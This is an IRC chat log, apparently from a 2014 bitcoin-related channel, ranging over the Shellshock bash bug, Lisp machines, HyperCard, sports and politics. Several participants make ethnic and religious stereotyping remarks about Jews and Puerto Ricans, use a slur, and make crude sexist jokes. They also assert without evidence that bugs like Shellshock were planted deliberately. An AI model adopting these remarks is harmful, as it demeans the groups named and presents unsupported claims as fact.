21:29 BingoBoingo Baseball went through this in the 1960's though when neither Marris nor Mantle could be the next Babe Ruth.
21:32 BingoBoingo Creeping up on the NFL (and College Football) is the specter of people prefering to watch games at the bar or at home. Combatting this so far has been teams declaring any Stadium older than 15 years obsolete, but all it takes is one city calling the bluff and chasing their team to Los Angeles for the pressure the NFL exerts to deflate.
21:36 BingoBoingo Then there's the revenue sharing and salary cap shit in the NFL that makes me nauseous... Why should good teams have to disband their core in the same of salary caps? I have no problem with the idea that a Jeter and A Rod-less Yankee team will have Giancarlo Stanton, but salary caps a sa parity tool are even stupider in the NFL where they actually exist as most players careers end within two seasons.
21:38 BingoBoingo lol, is anything wrong with ksh? >> http://www.csoonline.com/article/2688008/security-leadership/three-steps-you-need-to-take-to-avoid-overreacting-to-the-bash-bug.html
21:38 assbot Three steps you need to take to avoid overreacting to the bash bug | CSO Online
21:40 asciilifeform lol that turd reads like it was a 'mad libs' product
21:40 asciilifeform with 'bash bug' inserted in a blank
21:40 BingoBoingo asciilifeform: Well they probably already had the form letter ready
21:41 * BingoBoingo is still rather sad there is interesting harware right down US 50 from himself, but it is too heavy to acquire.
21:42 asciilifeform too heavy for what?
21:42 BingoBoingo asciilifeform: Too heavy for Mexico backpack
21:42 BingoBoingo And then checking in baggage from Neuvo Laredo to hardware BA
21:45 BingoBoingo I'm coming to terms with my car running out of value to make it worth boating across the Darien
21:48 BingoBoingo So likely the plan may or may not involve hoofing it that stretch and buying another motor vehicle
21:48 asciilifeform BingoBoingo: presumably one-way trip ?
21:49 BingoBoingo asciilifeform: Nah, I'll check out New Reno when it happens
21:51 BingoBoingo The tragic flaw with TDV's Galts gultch Chile is that it could have been viabile if only instead they went for an apartment block in a city...
21:51 asciilifeform what kind of 'gulch' would that be.
21:52 asciilifeform the whole fantasy involves a 'hidden fortress' in some shangri-la
21:54 BingoBoingo asciilifeform: And there's the trick. You can't have shangri-la without fresh nubile women, and you can't have a place for them to congregate without a city. By this metric a courtyard between building wings could be all the gultch necessary.
21:55 BingoBoingo Hidden, Fortress, and neither compose a triangle.
21:55 asciilifeform ;;google mineshaft gap
21:55 gribble Missile gap - Wikipedia, the free encyclopedia: <http://en.wikipedia.org/wiki/Missile_gap>; Dr. Strangelove - Wikipedia, the free encyclopedia: <http://en.wikipedia.org/wiki/Dr._Strangelove>; Mineshaft gap - Dr. Strangelove - YouTube: <http://www.youtube.com/watch?v=ybSzoLCCX-Y>
21:55 BingoBoingo If you are worried about the mineshaft gap you are on the wrong continent
21:56 BingoBoingo Africa where Ebola is about to become a permanent feature of life, or South America where anyone of worth from the remains of Rome settled are the extant options.
21:57 asciilifeform BingoBoingo: Strangelove: 'Regrettably, yes. But it is, you know, a sacrifice required for the future of the human race. I hasten to add that since each man will be required to do prodigious...service along these lines, the women will have to be selected for their sexual characteristics which will have to be of a highly stimulating nature.' Russian Ambassador: 'I must confess, you have an astonishingly good ide
21:57 asciilifeform a there, Doctor.'
21:57 asciilifeform (re: 'mineshaft gap')
21:57 BingoBoingo INdeed
21:58 BingoBoingo Also note his beautiful calculator.
22:00 BingoBoingo I wish I had the dexterity to handle clockwork in a creative way
22:01 BingoBoingo "Lindh’s NAS ran Bash alternative Dash by default and a tweet from security researcher Dragos Ruiu appeared to back up Lindh’s early research. If derivatives of Bash are also vulnerable to Shellshock, this would widen the number of potential targets massively." << BADBOIS Guy >> http://www.theguardian.com/technology/2014/sep/26/bash-bug-shellshock-richard-stallman
22:01 assbot Shellshock just 'a blip' says Richard Stallman as Bash bug attacks increase | Technology | theguardian.com
22:01 asciilifeform what is rms holding in the photo?
22:03 BingoBoingo looks like a bit of interesting chicom tech
22:04 asciilifeform possibly 'loongson'
22:04 asciilifeform (largely unobtainable outside of cn)
22:04 BingoBoingo I thought he was always on longsoon now a days. I'd never seen one with a detaching keyboard though.
22:05 asciilifeform looks like a miniature ('happyhacking' brand?) item
22:06 BingoBoingo Are there any longsoons that aren't in miniature?
22:06 asciilifeform no, the keyboard
22:06 BingoBoingo Ah
22:06 asciilifeform sat on top of the laptop
22:08 BingoBoingo I was inclined to think that might be the laptop's own detached
22:08 asciilifeform loongson (and, afaik, anyone else) does not sell such a thing
22:09 BingoBoingo My brother's freshman year room mate I am told had a pantent on a similar detachable keyboard arrangement.Last I check as of 2007 the VC circus had enlarged his expectation's sphincter many guages
22:10 asciilifeform trivially extend the cable that connects laptop keyboard. but, why?!?
22:11 BingoBoingo asciilifeform: Because he was 17, paki, and his parents conditioned him for entrpreneuership.
22:12 BingoBoingo In the interim my younger brother went to dental school, and... why the fuck didn't I do that...
22:13 BingoBoingo Shit doesn't even require a sould cruching residency.
22:15 BingoBoingo http://arstechnica.com/information-technology/2014/09/yahoo-killing-off-yahoo-after-20-years-of-hierarchical-organization/
22:15 assbot Yahoo killing off Yahoo after 20 years of hierarchical organization | Ars Technica
22:16 * BingoBoingo thinks to DMOZ's undead fate
22:16 BingoBoingo DMOZ being a project left for the people who aren't even good enough for wikipedia fail.
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22:33 decimation this 'bash bug' is hilarious. one wonders who knew about it for the past few years, and who exploited it unawares...
22:33 asciilifeform decimation: who knew << the author.
22:33 asciilifeform and his handlers.
22:33 kakobrekla dunno if its so easy to claim that
22:33 decimation do we know who the author is?
22:34 asciilifeform kakobrekla: https://www.uwgb.edu/dutchs/PSEUDOSC/WhyNoMiracles.HTM << obligatory
22:34 assbot Why Science Can't Accept Miracles (Even if They Really Exist)
22:34 asciilifeform this essay more or less explains why it is necessary to presume an author, and his handlers.
22:34 asciilifeform even if there is no immediately visible 'smoking gun'
22:35 kakobrekla alright ill take a look
22:35 asciilifeform if you create a 'heartbleed' - you are a вредитель. and whether you did it intentionally, given the impossibility of proof - does not matter.
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22:36 asciilifeform 'If you're a defendant, you don't get to claim your fingerprints miraculously appeared at a crime scene... If you're a bookkeeper, you don't get to say money miraculously disappeared from your company...'
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22:37 decimation http://log.bitcoin-assets.com/?date=27-08-2014#811885
22:37 assbot Logged on 27-08-2014 04:09:34; asciilifeform: if you (org.) want to keep secrets, the menu is roughly: a) employ incorruptible fanatics b) keep all henchmen incommunicado, in 'шарашка' prisons c) there is no 'c.' tertium non datur.
22:37 decimation I think usg inspires a fair amount of zealotry actually
22:37 asciilifeform decimation: mp added a c) if i recall: 'kill and bury the pyramid builders, blind the architect'
22:40 decimation see the bitcoin/socom meeting in the link above http://log.bitcoin-assets.com/?date=26-09-2014#846156
22:40 assbot Logged on 26-09-2014 18:41:05; mats_cd03: http://www.cnbc.com/id/102033875 >> USSOCOM plugs bitcoin foundation...
22:41 decimation what I find inexplicable is that you find folks in the us who absolutely hate everything about usg policies, in terms of how it mismanages wealth, fails to jail criminals, etc, and yet are willing to serve the military side
22:41 kakobrekla asciilifeform do you claim you can write bugless code (maybe even given the right platform to do it on)
22:42 asciilifeform kakobrekla: yes.
22:42 kakobrekla pft!
22:42 asciilifeform kakobrekla: what, you can't?
22:42 decimation usg is the unintentional beneficiary of a great deal of "I want to make a difference" altruism
22:42 asciilifeform kakobrekla: try, for instance, a bugless 'hello world'
22:42 asciilifeform it isn't too much sweat.
22:42 kakobrekla that one i could manage.
22:42 kakobrekla maybe
22:43 decimation it helps a great deal if the programming language you use guarantees proper memory allocation, bounds checking, etc.
22:44 asciilifeform laugh, laugh. but most of what you expect from your computer is not -mathematically- more complicated than 'hello world.'
22:44 asciilifeform mainly - moving bits from one place to another.
22:44 decimation I became depressed by dijkstra when he demonstrated how impossible it would be to fully check a simple multiplier circuit
22:45 asciilifeform decimation: the cure for this depression is to understand that a machine can be built to be -understood-.
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22:45 asciilifeform rather than mathematicized-about.
22:45 assbot Last 3 lines bashed and pending review. ( http://dpaste.com/04MWR5J.txt )
22:45 kakobrekla !b 3
22:46 kakobrekla i know what you are saying dec.
22:46 asciilifeform imagine if the stone age had extended far beyond where it did, and man built gigantic stone swords.
22:46 asciilifeform that needed a squadron of a dozen or more wielders, to swing it at all
22:46 asciilifeform and they would work in synchrony, but of course imperfectly - and occasionally at cross purposes
22:47 asciilifeform or squadron could contain enemy wrecker, imperceptibly and unprovably spoiling a swing
22:47 asciilifeform even the best swings would be from among a very small set of simple strokes.
22:47 asciilifeform then - somebody comes up with metallurgy, creates sword that one man can comfortably swing.
22:48 asciilifeform entire universe of a difference.
22:48 asciilifeform ^ that is the kind of thing i mean by -understandable-.
22:48 decimation the single wielder can certainly explore a larger set of swing-space
22:49 asciilifeform when we are talking about a sword that a man can swing - or a computer system that 'fits' inside a single brain comfortably - this is a fundamental difference.
22:49 asciilifeform like the difference between a shirt that fits and one which does not
22:49 decimation the man 'understands' swinging in a subjective way?
22:49 asciilifeform subjective only in the sense that people vary in size
22:50 asciilifeform and if you really wish to know which 'swordsman' is more comfortable with his tool - let god of war decide.
22:50 decimation well, one could argue that's why the lisp machine died out, right?
22:50 asciilifeform could.
22:50 asciilifeform swordsman can trip on banana peel
22:51 asciilifeform then squadron with stone megacock can feel victorious, vindicated.
22:51 kakobrekla :D
22:52 decimation yeah the lisp machine was carried by only a precious handful of people, who were the enemies of ibm and everyone else who wanted to muscle into the space
22:52 asciilifeform decimation: it is important to understand that lm was a specialist instrument - like the most elaborate electron microscope.
22:52 asciilifeform it made no attempt to compete with, e.g., ibm anything
22:52 asciilifeform existed in entirely separate universe
22:53 asciilifeform just as 'bentley' does not compete with 'toyota'
22:53 decimation ibm/wintel happened to pave over their niche though
22:53 decimation plus symbolics decided to waste their money on california real estate or some such craziness
22:53 asciilifeform toyota may in some sense with it could 'pave over' bentley, but reality does not care about this
22:54 asciilifeform it is hilarious to read about all of the various nicks, bruises, paper cuts found on the corpse of symbolics corp.
22:54 asciilifeform while ignoring the bullet hole in its head
22:54 decimation what is the 'bullet hole'?
22:54 asciilifeform (withdrawal of the infinite usg money it relied on - directly, and indirectly - through the major clients being usg ops)
22:55 asciilifeform 'artist picked the wrong medici'
22:55 decimation yeah makes sense. intel, being of silicon valley, was always a little more insulated from usg
22:56 decimation its clients all were all arms of usg, but it wasn't directly supported by usg
22:56 asciilifeform intel did not instrinsically - by its very nature - rely on rich prince
22:56 asciilifeform symbolics - did
22:56 asciilifeform because it was not selling a plebe product.
22:56 asciilifeform go and try market a scanning electron microscope for consumer market.
22:57 decimation rich princes being famous for their fickle tastes
22:58 BingoBoingo Related http://deadspin.com/diamondbacks-fire-grit-lord-kirk-gibson-1639670513
22:58 assbot Diamondbacks Fire Grit Lord Kirk Gibson
22:58 asciilifeform the other interesting observation is that lm in 1980s was expensive for far different reason than it would be today
22:58 asciilifeform and it would be far more expensive today!
22:59 asciilifeform then - the sheer quantity of logic necessary.
23:00 asciilifeform why it would be quite expensive today - i'll leave as an exercise for anyone still awake.
23:00 BingoBoingo why it would be quite expensive today - i'll leave as an exercise for anyone still awake. << People who could make it, exceedingly expensive today if hired for the task of making it.
23:01 asciilifeform nope.
23:01 * asciilifeform could easily make, and would work for room & board
23:01 decimation logic is much cheaper
23:02 BingoBoingo asciilifeform could easily make, and would work for room & board << Because you love the idea of it
23:02 decimation one would become an enemy of the wintel bezzle lords
23:02 asciilifeform the reason is entirely mundane
23:03 decimation although that has not stopped arm
23:03 asciilifeform if you had a truly clean break with the age of turdware -
23:03 asciilifeform there would be a market for about six machines.
23:03 asciilifeform divide the r&d and production cost by that figure. that's how much each unit would have to cost to... break even.
23:03 decimation ah, you would have to rewrite bezzle wintel software stack
23:03 asciilifeform forget even this
23:03 asciilifeform you'd have to come up with your own... dram
23:04 decimation heh yeah
23:04 asciilifeform bus topology
23:04 asciilifeform etc
23:04 decimation I would throw ddr in the trash
23:04 asciilifeform i've argued in the past that you have to ditch... binary. if you want to be rid of the 'floating point' abomination.
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23:05 asciilifeform likewise, for dataflow cpu fabric (the only truly reasonable way to build a computer) - existing logic synthesis methods are unsuitable.
23:05 decimation oh yeah, so I was thinking about why people use floating point to answer mp's question
23:05 BingoBoingo So... the ferguson thing looks like it might turn into open war...
23:05 asciilifeform even the gate libraries used by extant semiconductor fab houses would have to be thrown.
23:05 decimation it is because of the dynamic range allowed in a single blob
23:06 Duffer1 BingoBoingo, i haven't been following it, riots yet?
23:06 BingoBoingo Duffer1: They never really stopped
23:06 BingoBoingo http://www.mediaite.com/online/ferguson-police-chief-sparks-riots-after-trying-to-join-protesters-calling-for-his-resignation/
23:06 assbot Ferguson Police Chief Sparks Riots After Trying to Join Protesters Calling for His Resignation | Mediaite
23:06 Duffer1 ah
23:07 BingoBoingo Fat chief joined a crowd calling for his resignation. What result can be expected.
23:07 BingoBoingo Not really a question.
23:07 Duffer1 seen this one yet Bingo? (turn it down) http://www.nbcnews.com/news/us-news/ex-south-carolina-state-trooper-charged-over-traffic-stop-shooting-n211156
23:07 assbot Ex-South Carolina State Trooper Charged Over Traffic Stop Shooting - NBC News
23:07 BingoBoingo Saw that one.
23:08 decimation asciilifeform: most fpgas are not very suitable either
23:08 asciilifeform decimation: this is discussed on my site.
23:08 decimation yeah the old xilinx part
23:08 BingoBoingo Duffer1: Notice how quickly that "officer" was indicted for something?
23:09 Duffer1 good things there was video of it
23:09 BingoBoingo "Officer" in quotes because in the Western tradition the roles of "officer" and enlisted are different.
23:11 asciilifeform BingoBoingo: https://www.youtube.com/watch?v=N1HEqagVO9g << possibly interesting to you
23:11 assbot Poma Ads: Hypercard Commercial Report (1987) - YouTube
23:12 BingoBoingo Following the Anglos on anything has never been a good move though. Ever since the vowel shift turned the Britons into Barbarians at least.
23:13 Duffer1 oh damn i'm sure those "i am darren wilson" bracelets didn't help the situation much lol
23:13 Duffer1 good lord
23:13 BingoBoingo I fully endorse hypercard
23:14 asciilifeform BingoBoingo: virtually none of my readers showed any signs of liking it for the same reason i did.
23:14 asciilifeform generally, they like it 'because pretty ux buttons'
23:14 BingoBoingo Duffer1: You have to understand Middle Western understated racism is a more dangerous creature than Angola prison for a reason.
23:15 BingoBoingo asciilifeform: I tended to like it because in Highschool I had Hypercard, a giant TI-89, ot Compaq dos
23:15 BingoBoingo *or
23:15 asciilifeform or that. nostalgia.
23:15 decimation I used hp-48gx in high school
23:16 asciilifeform (i haven't any for it. i actually associate the environment it ran on with school, which was a misery)
23:17 decimation I remember trying hypercard in school, but I was introduced too late - didn't understand why it was more compelling than hypertext
23:17 asciilifeform decimation: the reason - understandability.
23:17 asciilifeform the totality thereof.
23:17 * BingoBoingo also used hypercard astonishingly to keep my dick wet, organizing girls into nights of the week.
23:17 decimation yeah hypercard enabled 'regular humans' to actually 'program'
23:18 decimation the closest thing in modern mac os is the 'automater' tool, but it's not maintained
23:18 asciilifeform again, unrelated.
23:18 asciilifeform the abominable 'english-like' scripting language lured various people who thought they could never stomach programming into trying
23:18 BingoBoingo decimation: The beauty was you could program without the quotes, until the PPC port
23:18 asciilifeform but this is neither here nor there.
23:18 asciilifeform that aspect - never appealed to me
23:18 asciilifeform never needed this sugar
23:19 asciilifeform to understand what is 'understandability' - look at its opposite.
23:19 asciilifeform sussman, surrendering to decay:
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23:19 asciilifeform 'You have to do basic science on your libraries to see how they work, trying out different inputs and seeing how the code reacts.'
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23:19 decimation something like how xml is written in plain text but ususually completely opaque
23:20 asciilifeform (discussed here, for example - https://news.ycombinator.com/item?id=603856 )
23:20 assbot It it just me who is seeing a cowardly surrender to cultural decay here? From th... | Hacker News
23:20 BingoBoingo decimation: Only when MIcrosoft, Red Hat, or Oracle touches it.
23:22 assbot [MPEX] [S.MPOE] 2608 @ 0.00074947 = 1.9546 BTC [+]
23:23 decimation yeah I remember that sussman quote, it is depressing
23:24 BingoBoingo reeses: https://xkcd.com/298/ << Actually dreamed a lucrative tablet game last night. Background is a topless redhead. Foreground is "Space Invaders" goal is to keep falling apples from covering the nipples.
23:24 assbot xkcd: Tesla Coil
23:27 * BingoBoingo has kind of come to appreciate the crazy of TempleOS
23:27 decimation that guy is seriously crazy
23:28 BingoBoingo of course he is, but who said that is necessarily wrong?
23:28 asciilifeform decimation: 'crazy' is the reason he actually got to work!
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23:29 asciilifeform by his own admission - he was rescued from labouring as a programmer by 'disability' pension from usg.
23:29 BingoBoingo TempleOS is basically x86-64 playgroung
23:29 asciilifeform which required a certification of insanity
23:29 asciilifeform in his case
23:29 * BingoBoingo wishes he could have such a grand form of crazy.
23:29 asciilifeform so we do not actually know how much he is truly batshit, and how much - is just playing the necessary role.
23:29 assbot Last 1 lines bashed and pending review. ( http://dpaste.com/3MN5G3T.txt )
23:29 BingoBoingo !b 1
23:30 assbot [MPEX] [S.MPOE] 24450 @ 0.00075117 = 18.3661 BTC [+] {3}
23:30 asciilifeform i have often direly envied the man his schizophrenia - or acting skills, as the case may be.
23:31 BingoBoingo asciilifeform: The differentiation is indeed difficult. I dunno that his flavor exists in the new DSM V
23:32 BingoBoingo DSM IV-TR has some contending designations.
23:32 asciilifeform and then there is the undocumented talmud used by usg bureaucrats to determine who qualifies for lifetime pensions.
23:32 BingoBoingo IS that match/mismatch an indicator of acting or otherwise?
23:34 decimation apparently sabu of anonymous was living in a usg welfare apartment
23:34 asciilifeform as did limonov.
23:36 BingoBoingo Don't forget Thermos and Nefario...
23:37 decimation sabu was a puerto rican - an island that raises living off usg largess to an art form
23:37 asciilifeform a professional scammer not scamming usg also, would be like a pro mechanic who won't fix own car
23:37 decimation http://cnsnews.com/news/article/13-population-puerto-rico-gets-food-stamps-2-billion-2012
23:37 assbot 1/3 Population of Puerto Rico Gets Food Stamps--$2 Billion in 2012 | CNS News
23:38 asciilifeform decimation: approximately - food stamps are given to groups, rather than people. not formally, of course - but in practice.
23:38 asciilifeform if you are not part of one of these groups - you will not be in the running for any handouts in usa.
23:38 asciilifeform limonov - was in such a group.
23:38 asciilifeform one such
23:38 asciilifeform puerto rico is one such group today
23:39 decimation limonov was crazy?
23:39 BingoBoingo Thor: http://valleywag.gawker.com/uber-driver-charged-for-bashing-a-passenger-in-the-head-1639711808/+leahfinnegan
23:39 assbot Uber Driver Charged for Bashing a Passenger In the Head With a Hammer
23:39 asciilifeform no. he was a russian/jewish emigre in '70s
23:40 decimation ah, so 'favored ally' of the fdr socialists running things in that era
23:40 BingoBoingo decimation> ah, so 'favored ally' of the fdr socialists running things in that era << Not so limited. To Understand the West you have to understand their hard ons, Jews and Isis.
23:41 decimation I don't get the jews. why do they care about jews? They are just a small subset of europeans among the unwashed masses of europeans
23:41 * danielpbarron slaps decimation around a bit with a large Bible
23:42 decimation danielpbarron: don't tell me you are dispensationalist?
23:43 BingoBoingo decimation: Jews because they are the non-ISIS middle east hedgemon, gotta catch them ALL, HEDGEMON!!!
23:43 danielpbarron i'm not sure what that means, decimation
23:45 BingoBoingo decimation: danielpbarron Is a Christan warrior of an Olde school
23:45 decimation among other things, a sect of Christianity that is premillennial, some of whom believe that the jews must be gathered in the middle east to start the end of the world and Jesus's return
23:47 asciilifeform decimation: 'favored ally' of the fdr socialists << nope. of the anti-soviet u.s. 'backbone'
23:47 BingoBoingo decimation: danielpbarron's Xtianity may be older, pre-vowel shift
23:47 asciilifeform decimation: engineered 'brain drain' was a weapon in use at the time
23:47 danielpbarron God causes all things; there is no "need to."
23:48 asciilifeform decimation: folks from soviet blok were lured with imaginary 'nice' jobs, the proverbial fifty types of sausage, posh cars, etc.
23:48 BingoBoingo <asciilifeform> decimation: 'favored ally' of the fdr socialists << nope. of the anti-soviet u.s. 'backbone' << Patton's "Murica
23:48 decimation asciilifeform: 'anti-soviet' and 'anti-communist' but not 'anti-leftist'
23:48 asciilifeform reality - drive cab, or collect 'welfare'
23:48 dub 50 types of forcemeat the soviet dream
23:50 BingoBoingo dub> 50 types of forcemeat the soviet dream << There is good forcemeat
23:51 decimation I look forward to the next regime change in the us so that the 'anti-communists' can be named
23:51 asciilifeform what you call 'forcemeat' we called 'doctor's sausage' for some reason.
23:54 decimation I quite enjoy a good mortadella
23:54 BingoBoingo I mean the french can do it well, just when we have aspiring diesel that would suppose "Freedom Fries"
23:54 danielpbarron forcemeet sounds like a jedi dating site
23:54 asciilifeform (for the ethnowank aficionados, it is generally thought that limonov was a 'paper' jew - i.e. signed on as one to get visa to usa)
23:55 asciilifeform herr l. is near the top of my list of rich'n'famous folks i'd personally enjoy seeing in here.
23:55 asciilifeform we could start with his idea of 'young and old men ought to live in separate countries.'
23:56 asciilifeform or let him explain how to recreate the lifestyle of a mongol hordesman in modern times
23:56 asciilifeform (he appears to know how)
23:56 BingoBoingo <asciilifeform> (for the ethnowank aficionados, it is generally thought that limonov was a 'paper' jew - i.e. signed on as one to get visa to usa) << In the middle West you get plastic jews, people who undergoe trans ethnicism for lawyer jobs
23:56 BingoBoingo The tend to be ostracized by actual people of Yweh's nose, but no local WASPs care
23:57 asciilifeform lol, lawyers have ethnic mafia there ?
23:57 asciilifeform or is it that other folks won't go to a 'goy' lawyer ?
23:58 BingoBoingo asciilifeform: More people want a Goy lawyer, but don't want an actual Goy. The actual goys tend to retreat to either left coast after law school.
23:59 BingoBoingo And in Law school the Goy's can't call out aspiring goy's because PC
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